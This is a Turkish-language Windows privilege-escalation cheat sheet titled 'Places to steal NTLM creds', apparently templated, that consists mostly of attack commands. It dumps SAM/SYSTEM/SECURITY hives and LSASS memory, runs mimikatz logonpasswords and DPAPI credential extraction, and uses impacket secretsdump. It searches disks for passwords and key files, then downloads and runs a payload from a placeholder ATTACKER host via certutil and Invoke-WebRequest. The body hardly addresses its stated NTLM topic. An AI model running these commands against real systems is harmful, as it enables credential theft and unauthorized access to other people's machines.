Places to steal NTLM creds
windows privesc
Places to steal NTLM creds Windows privesc, credential veya yanal hareket notudur. Token/servis/DLL/AD yüzeyini haritalayıp SYSTEM veya domain etkisi doğrula.
Metodoloji
Section titled “Metodoloji”-
whoami /all, priv, UAC bütünlüğü ve AV durumunu kilitle.
-
Places to steal NTLM credsiçin servis/DLL/token/AD hipotezini enum ile destekle. -
Yükseltme veya lateral PoC’yi çalıştırıp etkiyi kanıtla.
-
LSASS/SAM/DPAPI veya domain loot paketle.
Places to steal NTLM creds Windows saldırı notudur. Önce token, bütünlük seviyesi, AV ve yerel grup haritasını çıkar.
whoami /allsysteminfowhoami /privnet user; net localgroup administratorshostname & ipconfig /allGet-LocalGroupMember Administrators -ErrorAction SilentlyContinueGet-MpComputerStatus | Select AMServiceEnabled,RealTimeProtectionEnablednetstat -anoGet-Service | ? Status -eq Running | Select Name,DisplayNameCredential dump
Section titled “Credential dump”Yüksek yetki sonrası SAM/LSA/DPAPI ve oturum token’ları loot edilir.
reg save HKLM\SAM C:\temp\sam.savereg save HKLM\SYSTEM C:\temp\sys.savereg save HKLM\SECURITY C:\temp\sec.saveprocdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmpmimikatz # privilege::debugmimikatz # sekurlsa::logonpasswordsmimikatz # lsadump::sam /system:sys.save /sam:sam.savemimikatz # dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\*"Get-ChildItem -Force $env:USERPROFILE -Recurse -Include *.kdbx,*.rdg,*.xml,*.config -ErrorAction SilentlyContinue | Select -First 40impacket-secretsdump -sam sam.save -system sys.save LOCALOtomatik enum
Section titled “Otomatik enum”winPEASx64.exe quietaccesschk.exe /accepteula -uwcqv users *Import-Module .\PowerUp.ps1; Invoke-AllChecksGet-ChildItem C:\ -Recurse -Include *.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern 'password|pwd|connectionstring' | Select -First 30Yükseltme / erişim sonrası
Section titled “Yükseltme / erişim sonrası”dir C:\Users\Administrator\Desktopdir C:\Users\*\Documents,C:\Users\*\Desktop -ErrorAction SilentlyContinueGet-ChildItem -Force C:\ -Include *.kdbx,*.pfx,*.key -Recurse -ErrorAction SilentlyContinue | Select -First 30procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmpreg save HKLM\SAM C:\temp\sam.save & reg save HKLM\SYSTEM C:\temp\sys.saveManuel doğrulama
Section titled “Manuel doğrulama”# Places to steal NTLM creds — varyant 48Get-ChildItem C:\Users -Force | Format-Table Name,ModeGet-ScheduledTask | ? State -eq Ready | Select TaskName,TaskPathGet-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\* | ? ImagePath -match ' ' | Select PSChildName,ImagePathfindstr /si password *.xml *.ini *.txt *.config 2>$null | Select -First 20Get-Acl C:\ProgramData | Format-Listqwinsta; quserwmic product get name,versiondir /a C:\ProgramData\Microsoft\Windows\Start\ Menu\Programs\Startupcmdkey /listTransfer / execution
Section titled “Transfer / execution”IWR -Uri http://ATTACKER/a.exe -OutFile C:\Users\Public\a.execertutil -urlcache -split -f http://ATTACKER/a.exe C:\Users\Public\a.exeStart-Process C:\Users\Public\a.exeChecklist
Section titled “Checklist”[ ] whoami /priv ve gruplar alındı[ ] Servis/DLL/registry/token yüzeyi tarandı[ ] Privesc veya lateral PoC doğrulandı[ ] Credential dump / loot paketlendi[ ] Sonraki pivot not edildiNotlar
Section titled “Notlar”Places to steal NTLM creds sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.